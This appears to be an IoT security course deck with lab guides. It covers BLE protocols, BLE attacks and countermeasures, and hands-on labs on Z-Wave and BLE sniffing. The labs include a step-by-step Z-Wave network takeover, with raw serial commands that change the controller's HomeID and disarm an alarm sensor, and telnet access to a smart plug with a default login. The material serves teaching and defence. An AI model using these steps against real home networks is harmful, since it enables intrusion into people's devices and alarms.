The Preamble is a 1-byte value used for synchronization and timing estimation at the receiver. It will always be 0xAA for broadcasted packets.

The Access Address is also fixed for broadcasted packets, set to 0x8E89BED6.

The packet payload consists of a header and payload. The header describes the packet type and the PDU Type defines the purpose of the device. For broadcasting applications, there are three different PDU Types, as shown in Table 1.

Table 1. Advertising PDU Types for Broadcasting Data

<table>
<thead>
<tr>
<th>PDU Type</th>
<th>Packet Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000</td>
<td>ADV_IND</td>
<td>Connectable undirected advertising event</td>
</tr>
<tr>
<td>0010</td>
<td>ADV_NONCONN_IND</td>
<td>Non-connectable undirected advertising event</td>
</tr>
<tr>
<td>0110</td>
<td>ADV_SCAN_IND</td>
<td>Scannable undirected advertising event</td>
</tr>
</tbody>
</table>

The TxAdd bit indicates whether the advertisers address (contained in the Payload) is public (TxAdd = 0) or random (TxAdd = 1).

RxAdd is reserved for other types of packets not covered in this application note, as it does not apply to beacons.

The final part of the transmitted packet is the Cyclic Redundancy Check (CRC). CRC is an error-detecting code used to validate the packet for unwanted alterations. It ensures data integrity for all transmitted packets over the air.

The Payload of the packet includes the advertisers address along with the user defined advertised data as shown in Figure 2. These fields represent the beacons broadcasted address and data.
Advertising packet types

- Connectable: a scanner can initiate a connection upon reception of an advertising packet
- Non-connectable: a scanner cannot initiate a connection (only for broadcasting)

- Scannable: can issue a scan request
- Non-scannable: cannot issue a scan request

- Directed: only for a given scanner (no user data)
- Undirected: not targeted at any particular scanner (can contain user data)
Advertising and connection

Once a connection is established:
- Master informs slave of hopping sequence and when to wakeup
- Transactions are performed in the 37 data channels
- Transactions can be encrypted (AES-128)
- Both devices can go into sleep between transactions
- Connection interval: 7.5ms to 4s
ATT: Attribute protocol

- Client-server model: client requests data and server sends data to clients
- Server contains data organized in forms of Attributes
- Each attribute has
  - a 16-bit handle,
  - a 128-bit UUID (Universal Unique ID, for type and nature of data value), can be shortened to 16 or 32 bits, *Standardized by ISO/IEC 9834-8:2008*
  - a set of permissions
  - a value

<table>
<thead>
<tr>
<th>2 Octets</th>
<th>2 or 16 Octets</th>
<th>variable length</th>
<th>implementation specific</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attribute Handle</td>
<td>Attribute Type</td>
<td>Attribute Value</td>
<td>Attribute Permissions</td>
</tr>
</tbody>
</table>
Example of attributes

<table>
<thead>
<tr>
<th>Handle</th>
<th>Type</th>
<th>Permissions</th>
<th>Value</th>
<th>Value length</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0201</td>
<td>UUID₁ (16-bit)</td>
<td>Read only, no security</td>
<td>0x180A</td>
<td>2</td>
</tr>
<tr>
<td>0x0202</td>
<td>UUID₂ (16-bit)</td>
<td>Read only, no security</td>
<td>0x2A29</td>
<td>2</td>
</tr>
<tr>
<td>0x0215</td>
<td>UUID₃ (16-bit)</td>
<td>Read/write, authorization required</td>
<td>“a readable UTF-8 string” 23</td>
<td></td>
</tr>
<tr>
<td>0x030C</td>
<td>UUID₄ (128-bit)</td>
<td>Write only, no security</td>
<td>{0xFF, 0xFF, 0x00, 0x00}   4</td>
<td></td>
</tr>
<tr>
<td>0x030D</td>
<td>UUID₅ (128-bit)</td>
<td>Read/write, authenticated encryption required</td>
<td>36.43</td>
<td>8</td>
</tr>
<tr>
<td>0x031A</td>
<td>UUID₁ (16-bit)</td>
<td>Read only, no security</td>
<td>0x1801</td>
<td>2</td>
</tr>
</tbody>
</table>
GATT: Generic Attribute Profile

• Dealing with data exchange in BLE, GATT defines a basic data model and procedures to allow devices to discover, read, write, and push data elements between them. It is, in essence, the topmost data layer of BLE.

• Data is organized hierarchically in sections called *services*, which group conceptually related pieces of user data called *characteristics*. 
GATT client

- The GATT client corresponds to the ATT client. It sends requests to a server and receives responses (and server-initiated updates) from it. The GATT client does not know anything in advance about the server’s attributes, so it must first inquire about the presence and nature of those attributes by performing service discovery. After completing service discovery, it can then start reading and writing attributes found in the server, as well as receiving server-initiated updates.
GATT server

• The GATT server corresponds to the ATT server. It receives requests from a client and sends responses back. It also sends server-initiated updates when configured to do so, and it is the role responsible for storing and making the user data available to the client, organized in attributes. Every BLE device sold must include at least a basic GATT server that can respond to client requests, even if only to return an error response.
GATT data hierarchy

- Services: groups of characteristics
- Characteristics
  - Operations
- Everything identified by UUID
  - 128 bit
  - Sometimes shortened to 16 bits
## Example GATT service: Heart Rate

<table>
<thead>
<tr>
<th>Service</th>
<th>Handle</th>
<th>UUID</th>
<th>Permissions</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x0021</td>
<td>SERVICE</td>
<td>READ</td>
<td>HRS</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Characteristic</th>
<th>Handle</th>
<th>UUID</th>
<th>Permissions</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x0024</td>
<td>CHAR</td>
<td>READ</td>
<td>NOT</td>
</tr>
<tr>
<td></td>
<td>0x0027</td>
<td>HRM</td>
<td>NONE</td>
<td>bpm</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Descriptor</th>
<th>Handle</th>
<th>UUID</th>
<th>Permissions</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x0028</td>
<td>CCCD</td>
<td>READ/WRITE</td>
<td>0x0001</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Characteristic</th>
<th>Handle</th>
<th>UUID</th>
<th>Permissions</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x002A</td>
<td>CHAR</td>
<td>READ</td>
<td>RD</td>
</tr>
<tr>
<td></td>
<td>0x002C</td>
<td>BSL</td>
<td>READ</td>
<td>finger</td>
</tr>
</tbody>
</table>
GAP: Generic Access Profile

• Covering the usage model of the lower-level radio protocols to define roles, procedures, and modes that allow devices to broadcast data, discover devices, establish connections, manage connections, and negotiate security levels, GAP is, in essence, the topmost control layer of BLE. This profile is mandatory for all BLE devices, and all must comply with it.
BLE possible attacks

• Attacks on advertisements
  • Advertisement spoofing: spoof and advertise them with configurable interval
  • Denial of service: advertise a cloned device

• Passive interception
  • Unencrypted transmission can be intercepted by a passive eavesdropper

    >> Write: 0d583700447b98d61f6ec3340bdfbab8 - 0d583701447b98d61f6ec3340bdfbab8 : 123456 (4V)
    << Read: 0d583700447b98d61f6ec3340bdfbab8 - 0d583711447b98d61f6ec3340bdfbab8 : 01 ( )
    << Read: 0d583700447b98d61f6ec3340bdfbab8 - 0d583708447b98d61f6ec3340bdfbab8 : 06 ( )
    << Read: 1803 (Link Loss) - 2a06 (Alert Level) : 00 ( )
    >> Write: 1802 (Immediate Alert) - 2a06 (Alert Level) : 01 ( )

• Active interception
  • Attacker invoked connections with the device and the mobile application, and relays messages between them: Man in the middle (MiTM)

• Attacks on pairing
  • Attack the pairing process to guess the Long Term key
BLE security

- Encryption
  - Provided by link layer
  - Encrypts and MACs PDU
  - AES-CCM

- Random MAC address
  - Prevent tracking by changing the MAC of the device on a frequent basis.

- Whitelisting
  - Create a whitelist of accepted devices’ MAC addresses.
BLE encryption

- Pairing (once, in a secure environment)
  - *JustWorks* (R) – most common, devices without display cannot implement other
  - 6-digit PIN – if the device has a display
  - Out of band – not yet spotted in the wild

- "*Just Works and Passkey Entry do not provide any passive eavesdropping protection*"

- Establish Long Term Key, and store it to secure future communication ("bonding")

Mike Ryan, [https://www.lacklustre.net/bluetooth/](https://www.lacklustre.net/bluetooth/)
BLE encryption in practice

- 8 of 10 tested devices do not implement BLE-layer encryption
- "Forget" to do it, or do not consider clear-text transmission a problem
- The pairing is in OS level, mobile application does not have full control over it
- It is troublesome to manage with requirements for:
  - Multiple users/application instances per device
  - Access sharing
  - Cloud backup
  - Public access devices (e.g. cash register)
- Other hardware/software/UX problems with pairing

Exception: Some vendors implement their own security on top of GATT
BLE security in practice

- Security in "application" layer (GATT)
- Various authentication schemes
  - Static password/key
  - Challenge-response (most common)
  - PKI
- Own crypto, based usually on AES
- No single standard, library, protocol
BLE encryption: key exchange

- BLE uses AES-CCM: no known practical attacks
- Master and slave establish a shared secret known as Long Term Key (LTK)
- Could be reused for future sessions
- Master and slave select a temporary key (TK), 128 bits AES key
  - TK → STK
  - STK → LTK
  - LTK → Session keys
- The TK is used to compute a “confirm” value: all used values for its computation are in plaintext over the air.
- After that the master and slave, compute a short-term key (STK), and finally an LTK.
- The STK exchange messages are encrypted using the TK
Cracking the TK

https://github.com/mikeryan/crackle

- Brute force algorithm to guess TK
  - Calculate the confirm for every possible TK value between 0 and 999,999
  - Find the TK whose confirm matches the values exchanged over the air.

\[
\text{confirm} = \text{AES}(\text{TK}, \text{AES}(\text{TK}, \text{rand XOR } p1) \text{ XOR } p2)
\]

GREEN = we have it
RED = we want it

TK: integer between 0 and 999,999
Just Works\textsuperscript{TM}: always 0!

With crackle: Time to crack < 1 second

Cracking the TK: mitigations

• If the master and slave established the LTK key they need not re-establish a key

• But we can forces a key renegotiation by injecting a specific link layer message (LL_REJECT_IND)

• Each encrypted session uses a session-specific nonce exchanged at the beginning of the session

• Therefore even if the LTK is known, if the session initialization is not captured the conversation cannot be decrypted.

• We can jam the connection, which forces the master and slave to reconnect and re-establish a secure session, allowing us to sniff the nonce.
MiTM BLE attack

• Typical connection flow

- Start scanning for advertisements
- Advertise
- Specific advertisement received, stop scanning
- Connect the advertising device (MAC)
- Further communication

• MiTM

- Start scanning for advertisements
- Advertise more frequently
- Specific advertisement received, stop scanning
- MITM?
- Keep connection to original device. It does not advertise while connected ;)
- Connect the advertising device (MAC)
- Further communication
MiTM attack tool: GATTacker

- Open source: https://github.com/securing/gattacker
- Node.js, websockets

[Jasek et al, GATTacking bluetooth smart devices, Blackhat USA 2016]
Counter-measures

• Use the BLE security features
  • Encryption, bonding, MAC randomization
  • Do not allow to bond automatically
  • Detect MITM, warn the user

• Your own mechanisms
  • Do not implement static passwords
  • Design with active interception possibility in mind

• Beware excessive services, misconfiguration

• Prepare fallback for Denial of Service

• ...

More details in whitepaper
Summary: IoT security considerations and best practices
Securing IoT

• Incorporate security at the design phase
  • Building security in at the design phase reduces potential disruptions and avoids the much more difficult and expensive endeavor of attempting to add security to products after they have been developed and deployed.

• Security updates and vulnerability management
  • Vulnerabilities may be discovered in products after they have been deployed

• Prioritize security measure according to potential impact
  • Risk models differ substantially across the IoT ecosystem. For example, industrial consumers (such as nuclear reactor owners and operators) will have different considerations than a retail consumer.

• Connect carefully and deliberately
  • IoT consumers can also help contain the potential threats posed by network connectivity by connecting carefully and deliberately, and weighing the risks of a potential breach or failure of an IoT device against the costs of limiting connectivity to the Internet.
Incorporate security at the design phase

- **Enable security by default** through unique, hard to crack default user names and passwords. User names and passwords for IoT devices supplied by the manufacturer are often never changed by the user and are easily cracked. Botnets operate by continuously scanning for IoT devices that are protected by known factory default user names and passwords.

- Build the device using the most **recent operating system** that is technically viable and economically feasible. Many IoT devices use Linux operating systems, but may not use the most up-to-date operating system.

- Use **hardware that incorporates security features** to strengthen the protection and integrity of the device. For example, use computer chips that integrate security at the transistor level, embedded in the processor, and provide encryption and anonymity.

- **Design with system and operational disruption in mind**
Security Updates and Vulnerability Management

• Patches would be applied automatically and leverage cryptographic integrity and authenticity protections to more quickly address vulnerabilities.

• Consider **coordinating software updates among third-party** vendors to address vulnerabilities and security improvements to ensure consumer devices have the complete set of current protections.

• Develop automated mechanisms for addressing vulnerabilities

• Develop a policy regarding the **coordinated disclosure of vulnerabilities**, including associated security practices to address identified vulnerabilities.

• Develop an end-of-life strategy for IoT products
Prioritize Security Measures According to Potential Impact

• Know a device’s **intended use and environment**, where possible. This awareness helps developers and manufacturers consider the technical characteristics of the IoT device, how the device may operate, and the security measures that may be necessary.

• Perform a “**red-teaming” exercise**, where developers actively try to bypass the security measures needed at the application, network, data, or physical layers.

• **Identify and authenticate the devices connected to the network**, especially for industrial consumers and business networks.
Connect Carefully and Deliberately

• Advise IoT consumers on the intended purpose of any network connections. Direct internet connections may not be needed to operate critical functions of an IoT device, particularly in the industrial setting.

• Make intentional connections. There are instances when it is in the consumer’s interest not to connect directly to the Internet, but instead to a local network that can aggregate and evaluate any critical information.

• Build in controls to allow manufacturers, service providers, and consumers to disable network connections or specific ports when needed or desired to enable selective connectivity.
Reading material

• Bruce Schneier: security and the Internet of Things: https://www.schneier.com/blog/archives/2017/02/security_and_th.html


• Yuchen Yang, Longfei Wu, Guisheng Yin, Lijie Li, and Hongbin Zhao, A Survey on Security and Privacy Issues in Internet-of-Things, IEEE INTERNET OF THINGS JOURNAL, 2017
Lab session 1: Z-wave protocol analysis
Z-wave messages capture and analysis

PC

GNU Radio

Scapy-Radio

SDR USRP B210

OpenZwave

Z-Wave controller

Z-Wave device
Open Z-Wave

- http://www.openzwave.com/
- Open source programming library for Z-Wave PC controllers
- Control panel for Z-wave devices

OpenZWave Control Panel

Network

Controller

Functions

Node id | Basic Type | Generic Type | Product | Name | Location | Value | Last Heard | Status
--- | --- | --- | --- | --- | --- | --- | --- | ---
1 | Controller | Static PC Controller | Aeotec Z-Stick S2 | | | | | Ready
2 | Routing Slave | Binary Power Switch | | | | | | Dead
3 | Routing Slave | ON/OFF Power Switch | NoOn ASP-3-LC Smart Plug | | | | | Ready

Switches:
- On
- Off
SDR boards

• Software Defined Radio: a radio communication system where the signal-capturing components are software-configurable and the signal-processing components are software-implemented

• Examples: HackRF, bladeRF, USRP2

• Full-duplex, dual-channel and they offer large radio spectrum capabilities as well as a great amount of bandwidth
GNU Radio

- GNU Radio is a framework
  - Click and play GUI (GNU Radio companion)
  - Gr-modtool to help extend it
  - Python and C++
  - Supports a lot of SDR
Scapy

- Interactive packet manipulation program
- Used world-wide by pentesters
- Full Python code
- Supported under Windows, Linux, Mac OS X
- Easy to extend
- Lots of protocols already supported
- Native Fuzzing capabilities
the three main components on which our tool is relying to achieve that goal:

• Software Defined Radio;
• GNU Radio;
• Scapy.

2.1 Software Defined Radio

A radio communication system where the signal-capturing components are software-configurable and the signal-processing components are software-implemented is called a Software Defined Radio (SDR). This is exactly what we need in order to be able to capture and process a broad range of radio signals. The most notorious opensource-friendly and affordable computer-hosted SDR boards are HackRF \cite{6}, bladeRF \cite{7} and USRP2 \cite{8}. Because they are full-duplex, dual-channel and they offer large radio spectrum capabilities as well as a great amount of bandwidth, we chose to work with two USRP B210 boards.

2.2 GNU Radio

GNU Radio \cite{9} is an opensource software development kit that provides a great number of signal processing blocks to implement SDRs. It is already widely used with the previously mentioned SDR boards but it can also act as a simulation-like environment. While performance-critical signal-processing blocks are written using C++, GNU Radio is designed to write radio applications using Python. More specifically, radio applications can be prototyped with a graphical UI, the GNU Radio Companion (GRC). We are going to rely on GRC flow graphs to capture signals and turn them into network packets.

2.3 Scapy

Scapy \cite{10} is an interactive packet manipulation framework written using Python. It can capture, decode, forge and inject packets while matching requests and replies for a broad range of network protocols. It can also handle various network tasks such as probing, scanning, tracerouting, fuzzing, etc. Because it gives security auditors the capabilities to quickly prototype new networking tools without the need to go into the details of creating raw packets from square one, Scapy is already widely used by the penetration testing community. This is exactly what we wanted to achieve for wireless protocols and that is why we chose Scapy for protocol dissection and user interaction.

3 SOFTWARE ARCHITECTURE

Figure 3 shows how all the previously mentioned components interact with each other. In this section, we talk about the software development that was necessary to make that happen.


https://bitbucket.org/cybertools/scapy-radio/src
GNU Radio: Receiving Z-Wave packets

In order to process and transform the received SDR signals into packets, GNU Radio is used on a Linux virtual machine. This software is open-source and has the advantage of presenting an ergonomic graphical interface where modules can be assembled.

By following the engineers of ADS's research, packet reception is achieved using this model:

![GNU Radio Diagram](image)

The UHD: USRP Source block represents the signals received by the SDR card, which we have set to Z-Wave frequency (868.4 MHz) with a sampling rate of 800 kHz. After several blocks for demodulation and conversion into bits, these packets are sent to the Socket PDU block, which enables communication with Scapy.

Similarly, packets are sent using this model:

![GNU Radio Diagram](image)

Scapy-Radio

In the console, Scapy is launched, which, when combined with GNU Radio, allows for the decoding of Z-Wave packets and injecting them. The main commands used are:

- `sniffradio()`: listens to exchanged packets and decodes them into messages (request or acknowledgment).
GNU Radio: sending Z-Wave packets

**Figure 14:** Partie réception dans GNU Radio

The **UHD** block: *USRP Source* corresponds to the signals received by the SDR card, which we have set to the Z-Wave frequency (868.4 MHz) with an interpolation frequency of 800kHz. After several blocks for demodulation and conversion into bits, these packets are sent to the **Socket PDU** block to communicate with Scapy.

**Figure 15:** Partie émission dans GNU Radio

In the console, Scapy is launched, which combined with GNU Radio allows us to decode Z-Wave packets and inject them. The main commands used are:

- `sniffradio()` : listens to the exchanged packets and decodes them into messages (request or acknowledgement)
Packets capture

- Capturing packets between a USB controller and a plug
  - sniffradio() and show()
C'est maintenant la prise qui envoie une requête de type STATE et de valeur ON. En effet, après réception de la requête SWITCH ON, la prise change son état et le renvoie automatiquement au contrôleur, qui acquitte à son tour (p[3]).

Poursuivons l'analyse des paquets suivants :

**Figure 22:** p[2] et p[3]

On observe ici que le contrôleur envoie une requête de type REQ_STATE à la prise, il demande en fait à la prise si elle a bien changé son état en ON.

On remarque donc une anomalie de communication entre le contrôleur et la prise, puisque la prise a déjà communiqué son nouvel état au contrôleur. Nous pensons alors...
Lab session 2
BLE protocol Sniffing
BLE sniffing

- CC2540 USB Dongle and SmartRF sniffer (coupled with wireshark)
- For Linux, Bluez Bluetooth stack,
  - hcitool for scanning and connecting to BLE devices
  - Gatttool for interacting with GATT services (read, write characteristics)
  - Example: scan for BLE devices in range:
    - `sudo hcitool -i hci0 lescan`

---

**Diagram:**

```
PC --> Ubertooth
    ^
    | GATT
    |   ATT
    |   L2CAP
    |   Link Layer
    |   PHY
```

Mike Ryan
Bluetooth Smart / Bluetooth LE
USENIX WOOT, August 2013
Ubertooth one

Capturing Physical layer: http://ubertooth.sourceforge.net/
Sniffing BLE packets

• Spectrum analysis: run ubertooth-specan-ui

• Start ubertooth-btle to capture packets to a PCAP file
  • ubertooth-btle -f -c ble.pcap

• Open the ble.pcap with wireshark
  • Filter the packet to display connection packets and non zero data packets: btle.data_header.length > 0 || btle.advertising_header.pdu_type == 0x05
Capturing packets to PCAP

Lab session 3
Z-Wave network takeover

Loïc Rouch, Frédéric Beck, Jérôme François, Abdelkader Lahmadi
Objective

• Z-Wave network takeover
  – Avoid specific hardware
  – Take full advantage of official hardware certified by the Z-Wave Alliance
  – Focus on unsecured mode

• Create a universal controller
  – Pre-registered nodes
  – Modified HomeID
  – Network auto-discovery
Target Network

- Z-Wave controller
- Raspberry Pi with Jeedom
- Door sensor
- LED bulb (simulate alarm)
Target network

• Simulating an alarm
  – Open the door sensor
  – LED bulb blinks in red to simulate an alarm

• Central point: Home ID
  – Unique
  – Set during controller manufacturing
  – Randomly regenerated when the controller is re-initialized
Step 1: Get the HomeID

- Prerequisites: install OpenZWave Control Panel
  - sudo apt install openzwave-controlpanel

- Option 1: Using an SDR (see lab session 1)
Step 1: Get the HomeID

- Option 2: Use a DVDB-T tuner (30 € hardware)
- Install rtl-sdr
  - sudo apt install rtl-sdr
Step 1: Get the HomeID

- Clone Waving-Z in the tools/waving-z directory and build it
  
  - cd tools
  - git clone https://github.com/baol/waving-z.git
  - cd waving-z
  - mkdir build
  - cd build
  - cmake .. -DCMAKE_BUILD_TYPE=Release
  - cmake --build .
  - cd ../..
  - ln -s waving-z/build/wave-in wave-in
  - sudo apt install rtl-sdr
Step 1: Get the HomeID

- Plug the RTL SDR and run
  - ./get_home_id.sh

or

- rtl_sdr -f 868420000 -s 2000000 -g 25 - | ./wave-in -u

- Z-Wave messages are captured and network’s HomeID can be identified

```
01 84 fa c6 14 41 01 0e 01 30 03 ff 0a db 00 00 00 00
[x] HomeId: 184fac6, SourceNodeID: 14, FC0: 41, FC1: 1, FC[speed=0 low_power=0
ack_request=1 header_type=1 beaming_info=0 seq=1], Length: 14, DestNodeID: 1,
CommandClass: 30, Payload: 03 ff 0a
```
Exploit Backup/restore functionality

- **Device Management**
  - Force unsecure inclusion: Secure, Unsecure
  - Controller is primary in the network. It is the only that can add and remove devices to/from the network.
  - Controller is in normal mode
  - Start Inclusion, Start Exclusion

- **Backup and Restore**
  - Create Backup, Restore

- **Network Maintenance**
  - Pick the failed node from the list and remove it from the network configuration. This will take about one minute to complete.
  - Remove Failed Node
  - Pick a node of a failed device. After hitting the button you can include a new device right with this Node ID.
  - Replace failed node
  - Mains powered nodes are marked as failed automatically. Battery powered device you need to mark yourself in order to remove or replace them. Handle with care.
  - Mark Battery Device as failed
  - This starts an inclusion process for a new controller. This new controller will become the new primary controller of your network.
Exploit Backup/restore functionnality

Watching Z-Way Server

HomeID modification commands

```
$ echo -e "\x01\x0C\x00\x2B\x00\x00\x08\x00\x04\xDE\xAD\xBE\xEF\xF6" > /dev/ttyACM0
$ echo -e "\x01\x25\x00\x2B\x00\x05\x80\x00\x1D\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68" > /dev/ttyACM0
```
Step 2: Create a universal controller

• Use the set_home_id.sh script
  - `./set_home_id.sh /dev/ttyACM0 HOMEID`

• Restart it to get a universal controller
  - Modified HomeID with pre-registered nodes
  - Start Open Z-Wave Control Panel
    - `ozwcp`
Step 2: Network Auto-discovery

- Set the device interface to /dev/ttyACM0
- Do not check the USB checkbox
- Click on Initialize
- The controller starts with the new HomeID and performs Network auto-discovery
  - ~10 minutes long process
- Led Bulb should have NodeID 21
  - Open the door sensor, alarm goes on
  - Set level to 0 and press submit to neutralize it
Lab session 4
Inside a smart plug
Inside a smart plug

- The smart plug provides a Wifi network: mFI D25CE7
- Connect your host to this WiFi network
- Execute nmap to find the IP of the connected smart plug:
- Nmap –sn 192.186.2.0/24

```bash
skywalker:smartplug AbdekaderLahmadi$ /opt/local/bin/nmap -sn 192.168.2.0/24
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-21 17:29 CEST
Nmap scan report for 192.168.2.20
Host is up (0.0067s latency).
Nmap scan report for 192.168.2.119
Host is up (0.00071s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.25 seconds
```

- Using your browser type the IP address of the smart plug (192.168.2.20)
• Scan the device using nmap to identify the open ports

skywalker:smartplug AbdelkaderLahmadi$ sudo /opt/local/bin/nmap -sS 192.168.2.20
Password:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-21 17:34 CEST
Nmap scan report for 192.168.2.20
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
53/tcp open domain
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
MAC Address: 26:A4:3C:D3:5C:E7 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
How?: inside a smart plug

- Telnet connections (port 23)
- Possible SSH connections with easy to find login/password
- Dropbear sshd 0.51: 2 vulnerabilities
- Lighttpd 1.4.31: 6 vulnerabilities
- DNS resolver (port 53): could be used as a DDoS amplifier
Let’s connect to the device using telnet!!

skywalker:smartplug AbdelkaderLahmadi$ telnet 192.168.2.20
Trying 192.168.2.20...
Connected to 192.168.2.20.
Escape character is '^['.
mFid25ce7 login: ubnt
Password:

BusyBox v1.11.2 (2013-11-11 20:08:57 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

MF.v2.0.8#
• Let’s explore the file system
Let’s explore network connections

```
# netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address                  Foreign Address         State
tcp    0      0  127.0.0.1:59904                   0.0.0.0:*               LISTEN
tcp    0      0  0.0.0.0:7681                     0.0.0.0:*               LISTEN
tcp    0      0  0.0.0.0:49153                    0.0.0.0:*               LISTEN
tcp    0      0  0.0.0.0:8080                     0.0.0.0:*               LISTEN
tcp    0      0  0.0.0.0:80                       0.0.0.0:*               LISTEN
tcp    0      0  0.0.0.0:53                       0.0.0.0:*               LISTEN
tcp    0      0  127.0.0.1:60086                  0.0.0.0:*               LISTEN
tcp    0      0  127.0.0.1:33722                  0.0.0.0:*               LISTEN
tcp    0      0  127.0.0.1:59706                  0.0.0.0:*               LISTEN
tcp    0      0  0.0.0.0:443                      0.0.0.0:*               LISTEN
tcp    0      0  127.0.0.1:38481                  127.0.0.1:59706         ESTABLISHED
tcp    0      0  127.0.0.1:59706                  127.0.0.1:38481         ESTABLISHED
tcp    0      0  127.0.0.1:51156                  127.0.0.1:60086         ESTABLISHED
tcp    0      0  127.0.0.1:52534                  127.0.0.1:33722         ESTABLISHED
tcp    0      0  127.0.0.1:59904                  127.0.0.1:41056         ESTABLISHED
tcp    0      0  127.0.0.1:60086                  127.0.0.1:51156         ESTABLISHED
tcp    0      0  127.0.0.1:33722                  127.0.0.1:52534         ESTABLISHED
tcp    0      0  127.0.0.1:41056                  127.0.0.1:59904         ESTABLISHED
```
